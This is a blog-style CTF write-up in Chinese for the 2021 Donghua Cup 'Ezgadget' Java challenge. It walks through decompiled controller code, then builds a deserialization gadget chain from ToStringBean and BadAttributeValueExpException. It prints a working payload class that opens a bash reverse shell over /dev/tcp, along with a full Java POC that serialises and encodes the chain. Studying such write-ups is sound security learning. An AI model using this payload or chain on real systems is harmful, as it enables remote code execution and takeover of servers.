刷题笔记-[2021东华杯]Ezgadget


前言

第一道JAVA题!

题目给了jar包。

题解

先用jdgui打开jar包,找到IndexController

@Controller
public class IndexController {
  @ResponseBody
  @RequestMapping({"/"})
  public String index(HttpServletRequest request, HttpServletResponse response) {
    return "index";
  }
  
  @ResponseBody
  @RequestMapping({"/readobject"})
  public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
    byte[] b = Tools.base64Decode(data);
    InputStream inputStream = new ByteArrayInputStream(b);
    ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
    String name = objectInputStream.readUTF();
    int year = objectInputStream.readInt();
    if (name.equals("gadgets") && year == 2021)
      objectInputStream.readObject(); 
    return "welcome bro.";
  }
}

显然,/readobject路径,接收data参数,然后进行base64解码。读取一个UTF和一个Int。如果满足name.equals("gadgets")year == 2021就会触发反序列化。

Tools:定义了Base64的加解密以及序列化和反序列化

public class Tools {
  public static byte[] base64Decode(String base64) {
    Base64.Decoder decoder = Base64.getDecoder();
    return decoder.decode(base64);
  }
  
  public static String base64Encode(byte[] bytes) {
    Base64.Encoder encoder = Base64.getEncoder();
    return encoder.encodeToString(bytes);
  }
  
  public static byte[] serialize(Object obj) throws Exception {
    ByteArrayOutputStream btout = new ByteArrayOutputStream();
    ObjectOutputStream objOut = new ObjectOutputStream(btout);
    objOut.writeObject(obj);
    return btout.toByteArray();
  }
  
  public static Object deserialize(byte[] serialized) throws Exception {
    ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
    ObjectInputStream objIn = new ObjectInputStream(btin);
    return objIn.readObject();
  }
}

User:一个常见的JavaBean

public class User implements Serializable {
  private String UserName;
  
  private String PassWord;
  
  public String getUserName() {
    return this.UserName;
  }
  
  public void setUserName(String userName) {
    this.UserName = userName;
  }
  
  public String getPassWord() {
    return this.PassWord;
  }
  
  public void setPassWord(String passWord) {
    this.PassWord = passWord;
  }
  
  public String toString() {
    return "User{UserName='" + this.UserName + '\'' + ", PassWord='" + this.PassWord + '\'' + '}';
  }
}

ToStringBean:继承了ClassLoader,还有defineClass()。显然,可以反序列化加载恶意类!这里只要能调用toString就能加载我们传入的恶意字节码,其中ClassByte就是我们要传入的恶意字节码,由于是私有的,所以只能通过反射来进行赋值。

public class ToStringBean extends ClassLoader implements Serializable {
  private byte[] ClassByte;
  
  public String toString() {
    com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean();
    Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
    Object Obj = null;
    try {
      Obj = clazz.newInstance();
    } catch (InstantiationException e) {
      e.printStackTrace();
    } catch (IllegalAccessException e) {
      e.printStackTrace();
    } 
    return "enjoy it.";
  }
}

一搜toString,发现CC5里有类似调用!

使用的是BadAttributeValueExpException,在其readObject()方法中调用了toString(),很符合这题。

按CC5中思路,反射修改val属性即可。

写个反弹shell的恶意类

public class payload {
    static {
        try {
            Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/127.0.0.1/6666 0>&1"});
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

POC如下:

import com.ezgame.ctf.tools.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class POC {
    public static void main(String[] args) throws Exception {
        ToStringBean toStringBean = new ToStringBean();
        Field fieldClassByte = toStringBean.getClass().getDeclaredField("ClassByte");
        fieldClassByte.setAccessible(true);
        //byte[] bytes = Files.readAllBytes(Paths.get("target/classes/payload.class"));
        fieldClassByte.set(toStringBean, makeByteCode());

        BadAttributeValueExpException badAttr = new BadAttributeValueExpException(null);
        Class<?> cls = badAttr.getClass();
        Field fieldVal = cls.getDeclaredField("val");
        fieldVal.setAccessible(true);
        fieldVal.set(badAttr, toStringBean);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//新建一个字节流
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);//把字节流转为对象流
        objectOutputStream.writeUTF("gadgets");//往UTF中写入gadgets
        objectOutputStream.writeInt(2021);//往Int中写入2021
        objectOutputStream.writeObject(badAttr);//调用badAttributeValueExpException.writeObject序列化

        byte[] bytes1 = byteArrayOutputStream.toByteArray();//把字节流导出为字节数组
        String s = Tools.base64Encode(bytes1);//base64编码
        System.out.println(s);
    }

    public static byte[] makeByteCode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get(payload.class.getName());
        ctClass.setName("NormalClass");
        return ctClass.toBytecode();
    }

}

此处可以build后读取class文件,也可以用javassist来读。

注意,尽量package保持一直,否则打进去后会找不到ToStringBean类导致白页。

虚拟机运行一下环境,POST打入,结束。

java -jar ezgadget.jar

文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录